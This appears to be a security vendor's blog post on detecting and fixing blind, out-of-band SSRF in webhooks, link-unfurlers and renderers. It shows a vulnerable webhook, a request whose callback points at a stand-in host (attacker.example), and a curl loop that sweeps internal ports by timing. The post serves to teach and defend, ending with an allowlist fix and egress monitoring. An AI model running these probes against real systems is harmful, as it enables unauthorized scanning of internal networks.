SSRFBlind

Blind and Out-of-Band SSRF: Detecting the Request You Can't See

When an SSRF never reflects the fetched response, the usual proof — leaked file contents or a service banner — is gone. You confirm it instead with an out-of-band callback and map the internal network by timing and error differentials.

SelfSec Team5 min read
Part 2 of 4from theSSRFseries
http://a1b2c3.oob.attacker.example/
On this page

Most SSRF write-ups assume the response comes back: you point the server at the metadata endpoint and read the credentials it returns. Plenty of real SSRF is not like that. The vulnerable feature fires an outbound request and discards the body — a webhook delivery, a link-unfurler that only keeps a title, a renderer that turns a URL into a PDF. The request happens, but the fetched content is never reflected to you, so the usual proof is unavailable.

That does not make the bug safe; it makes it blind. You can still confirm it and still map the internal network — you just change instruments, from reading response bodies to observing side effects: out-of-band callbacks, response timing, and the differences between success and failure. This post covers how to detect blind SSRF, how to map internal hosts and ports without ever seeing a response, where these sinks hide, and how to fix them.

How it happens

The code is the ordinary SSRF mistake — an attacker-supplied URL fetched without a destination check — with one detail that hides it: the result is consumed server-side and never returned. A webhook tester is a clean example:

$url = $_POST['callback_url'];
$resp = $http->post($url, ['json' => $event]);

return ['status' => 'delivered'];

The server makes the request, but the caller only ever sees delivered. Whatever callback_url reached, and whatever it answered, stays invisible. The vulnerability is identical to reflected SSRF; only your feedback channel is gone.

A concrete attack: confirm with an out-of-band callback

If you cannot read the response, make the server tell on itself. Stand up a listener you control and point the URL at a unique subdomain, so a DNS lookup or HTTP hit proves the request left the server:

POST /webhooks/test HTTP/1.1
Host: app.example
Content-Type: application/json

{"callback_url": "http://a1b2c3.oob.attacker.example/"}

When a1b2c3.oob.attacker.example shows up in your DNS logs, the application resolved it; when the HTTP request lands, it actually connected. The DNS hit alone is the stronger signal, because it survives even when egress firewalls block the outbound TCP connection — the resolver still runs. That callback is the confirmation the missing response body would otherwise have given you.

You never saw a single byte of the response. The server announced the vulnerability itself, by reaching out to a name only the attacker could have planted.

Mapping the internal network blind

A confirmed callback proves SSRF exists; the next question is what it can reach. With no response body, you read the differences between attempts. An open port behaves differently from a closed one, and a filtered one differently again:

POST /webhooks/test HTTP/1.1
Host: app.example
Content-Type: application/json

{"callback_url": "http://10.0.0.5:6379/"}

An open service often returns fast with a connection error or protocol mismatch; a closed port refuses immediately; a filtered address hangs until the request times out. Those three outcomes — distinguishable by response time and by which error or status the wrapper surfaces — let you sweep a range and infer the map:

for port in 22 80 443 3306 6379 8080; do
  curl -s -o /dev/null -w "%{time_total}\n" \
    -d "{\"callback_url\":\"http://10.0.0.5:$port/\"}" \
    https://app.example/webhooks/test
done

A consistent ~5-second time on closed ports against a sub-second time on open ones turns timing into a port scanner. Status and error differentials work the same way: a 500 for one host and a 200 for another, or a distinct error string, leaks which internal addresses are live without ever returning their content.

Where blind SSRF hides

Blind sinks are the features that fetch a URL for their own purposes and keep only a summary or nothing at all:

  • Webhooks and callbacks — delivery endpoints that POST to a user-supplied URL and report only success or failure.
  • URL previews and link-unfurlers — chat and ticketing systems that fetch a link to extract a title or thumbnail.
  • PDF and HTML renderers — "export to PDF" and headless-browser pipelines that load remote URLs and embed assets.
  • Image proxies and thumbnailers — services that fetch a remote image, resize it, and return only the processed result.

Each one fires an outbound request whose body you never see directly — exactly the conditions that make SSRF blind.

The fix: same family, allowlist and egress control

Blind SSRF is still SSRF, so the defence is the one that works for the reflected case: decide where the server is allowed to go and refuse everything else. Resolve the host, check the resolved IP, and fetch only what you validated:

import ipaddress, socket
from urllib.parse import urlparse

ALLOWED_HOSTS = {"hooks.partner.example", "cdn.example.com"}

def safe_fetch(url):
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("destination not allowed")

    resolved = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
    if resolved.is_private or resolved.is_loopback or resolved.is_link_local:
        raise ValueError("internal address blocked")

    return requests.post(url, allow_redirects=False, timeout=5)

Back it with egress control — workloads that fetch user URLs should reach only the hosts they legitimately need, through a proxy that enforces the allowlist — so even a missed application check cannot reach the metadata endpoint or an internal service. Because the attack channel is out-of-band, your detection should be too: monitor outbound DNS and connections for lookups of unexpected names and traffic to link-local or private ranges, which is exactly the callback an attacker relies on to confirm the bug.

How SelfSec finds it

SelfSec maps every parameter, header and form field that feeds an outbound request, then probes the ones whose responses are never reflected — webhooks, link-unfurlers, renderers, image proxies — with payloads pointed at its own out-of-band listener. A blind finding is confirmed when that listener records the callback (a DNS lookup or HTTP hit on a unique per-test name), and internal reachability is inferred from timing and status or error differentials rather than from a response body it cannot see. The whole scan runs locally on 127.0.0.1, your targets and findings stay on your machine, and each finding ships with a validated reproduction request you can replay.

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about SSRF

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The SSRF series

  1. 01OverviewSSRF, Explained: When Your Server Becomes the Attacker's Proxy3 min
  2. 02BlindBlind and Out-of-Band SSRF: Detecting the Request You Can't SeeReading
  3. 03Cloud MetadataCloud-Metadata SSRF: From One URL to Full Account Takeover5 min
  4. 04Protocol SmugglingProtocol Smuggling in SSRF: gopher, dict and file Schemes5 min

Related reading